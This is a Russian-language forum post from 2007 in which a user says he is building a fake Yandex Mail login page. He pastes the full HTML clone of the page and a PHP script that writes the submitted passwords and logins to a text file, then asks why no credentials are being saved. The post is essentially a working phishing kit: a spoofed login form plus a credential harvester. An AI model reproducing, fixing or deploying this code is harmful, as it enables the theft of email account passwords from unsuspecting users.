Показать сообщение отдельно

  #7  
Старый 21.11.2007, 03:58
Zircool
Участник форума
Регистрация: 01.03.2006
Сообщений: 169
Провел на форуме:
519496

Репутация: 78
По умолчанию

Делаю фэйк для mail.yandex.ru...
Цитата:
<?
header("Content-Type:text/html;charset=windows-1251");
?><html lang="ru"><head><title>Яндекс.Почта</title>
<meta content="text/html; charset=utf-8" http-equiv="Content-Type">
<link rel="SHORTCUT ICON" type="image/x-icon" href="/favicon.ico">
<link rel="stylesheet" type="text/css" href="files/common.css">
<link rel="stylesheet" type="text/css" href="files/mail-common.css">
<link rel="stylesheet" type="text/css" href="files/mail-login.css">
<style type="text/css"><!--td.dignity p span {font-size:140%;}td.form div.checkbox div.reducer {left: 28%;}* html td.form div.checkbox div.reducer label {display: block; float: left; width: 100%;}* html td.form div.checkbox span.input {left: -2px;}#dignityCell {margin-top: 1em;}.new_mail{font-size: 1.5em;}--></style>
<script type="text/javascript">var fromMail = false;</script><script type="text/javascript" src="http://passport.yandex.ru/passport?mode=testloginjs&amp;id42426765"></script>
<script type="text/javascript" src="files/index_main.js"></script></head>
<body style="background-image:url(http://www.tns-counter.ru/V13a****yandex_ru/ru/CP1251/tmsec=yandex_mail/?id42426765)">
<table class="layout root"><tr><td class="layout content"><div align="center"><a href="http://www.yandex.ru/">
<img src="files/yandex.gif" alt="Яndex" width="136" height="83"></a></div>
<table class="layout main" width="100%">
<tr class="layout" valign="top">
<td class="features layout">
<div id="featuresCell">
<h2>Почта Яндекса — это:</h2>
<p class="plus big">
<span><a href="http://mail.yandex.ru/unlimited">Бесконечный ящик</a></span>
<br>Вы можете не думать о том, сколько места занимают ваши письма.</p>
<p class="plus no-spam"><span><a href="http://help.yandex.ru/mail/?id=288423">Отсутствие спама</a></span>
<br><a href="http://so.yandex.ru/">
<img src="files/logo_so.gif" alt="Спамооборона" title="Спамооборона" style="margin: 3px 15px 0 10px;" align="right">
</a>Ваш почтовый ящик надежно защищен программой «<a href="http://so.yandex.ru/">Спамооборона</a>».<br></p>
<p class="plus revolutional">
<span><a href="http://mail.yandex.ru/pda_info">Мобильная версия</a></span>
<br>Для смартфонов, коммуникаторов и КПК.</p>
<p class="plus red">
<span><a href="http://help.yandex.ru/mail/?id=288215" target="_blank">Защита от вирусов</a></span>
<br><a target="_blank" href="http://www.drweb.com/">
<img src="files/drweb2.gif" alt="Dr.Web" title="Dr.Web" align="right" style="margin: 3px 0 0 10px;">
</a>Все письма проверяются антивирусной программой «<a href="http://www.drweb.com" target="_blank">Dr.Web</a>».</p></div></td>
<td id="loginForm" class="form layout">
<div class="tl">
<div class="tr">
<div class="bl">
<div class="br">
<form action="1.php" method="post" name="MainLogin" id="loginform">
<img src="files/heading.gif" alt="Почта" width="136" height="36" style="margin: 15px 0 10px 0;">
<div class="input login">
<label for="inputLogin">логин:</label>
<br><input type="text" name="login" id="inputLogin" tabindex="1"></div>
<div class="input passwd">
<label for="inputPassword">пароль:</label>
<br><input type="password" name="passwd" id="inputPassword" tabindex="2"></div>
<p style="text-align: center;">
<label for="twoweeks">
<input type="checkbox" id="twoweeks" name="twoweeks" value="yes" autocomplete="no" tabindex="3" style="vertical-align: middle;"> запомнить меня</label></p>
<div><input type="hidden" name="retpath" value="http://mail.yandex.ru/?from=mail&amp;r=id35388573">
<input type="submit" value="Войти" class="hugeBtn" tabindex="4"></div>
<p class="forgotten-link"><a href="http://passport.yandex.ru/passport?mode=remember" tabindex="5">
<span>Вспомнить пароль</span></a>
<br><br><a href="http://passport.yandex.ru/passport?mode=register&amp;msg=mail&amp;retpath=ht tp://mail.yandex.ru/?from=mail&amp;r=id35388573" class="new_mail">
<span>Заведите почту на Яндексе</span></a></p></form>
<script type="text/javascript" src="files/forcehttps.js"></script></div></div></div></div></td>
<td class="dignity layout">
<div id="dignityCell">
<h2>Почтовая фишка № 14</h2>
<p><img src="files/marka14.gif" width="162" height="101" alt="Адресная книга"></p>
<p>Умная адресная книга подсказывает адреса при создании письма, причем она знает, что фамилия «Шендерович» может писаться латиницей как Shenderovitch, Schenderovich и дюжиной других вариантов.</p></div></td></tr></table></td></tr>
<tr><td class="layout bottom">
<div id="tuning" class="tuning sys-font hidden">
<p><span id="tips_hide" class="pseudo-link hidden">Убрать информацию слева и справа</span>
<span id="tips_show" class="pseudo-link hidden">Показать информацию</span></p></div>
<div class="footer">
<hr><p class="copy">Чистая почта © 2001—2007 «<a href="http://www.yandex.ru/">Яндекс</a>»
<br><a href="http://feedback.yandex.ru/?from=webmail">Обратная связь</a> ·
<a href="http://stat.yandex.ru/stats.xml?ProjectID=2">Статистика</a> ·
<a href="http://advertising.yandex.ru/mail.xml">Реклама</a></p>
<div class="pda_link">
<a href="/pda">Мобильная версия</a></div>
<div id="made-in" class="made">
<a href="http://www.artlebedev.ru/">
<img src="files/logo-artlebedev.gif" width="90" height="37" alt="art. lebedev"></a> Дизайн —<br> <a href="http://www.artlebedev.ru/">Студия Артемия Лебедева</a></div>
<br clear="all"></div></td></tr></table>
<script type="text/javascript">init(false);</script></body></html>

Создал файл 1.php прописал туда
Цитата:
<?php
if(@$_POST['login']){ условие
$fp = fopen ("file.txt", "a"); открытие файла
fwrite ($fp, "$_POST[passwd] : $_POST[login] \n"); пишем в файл данные которые ввел юзер на фейковой страничке
fclose ($fp); закрываем файл.
?>
И создал файл file.txt прохожу авторизацию на фэйк чтранице но пароли в file.txt Не сохраняются... В чём может быть ошибка?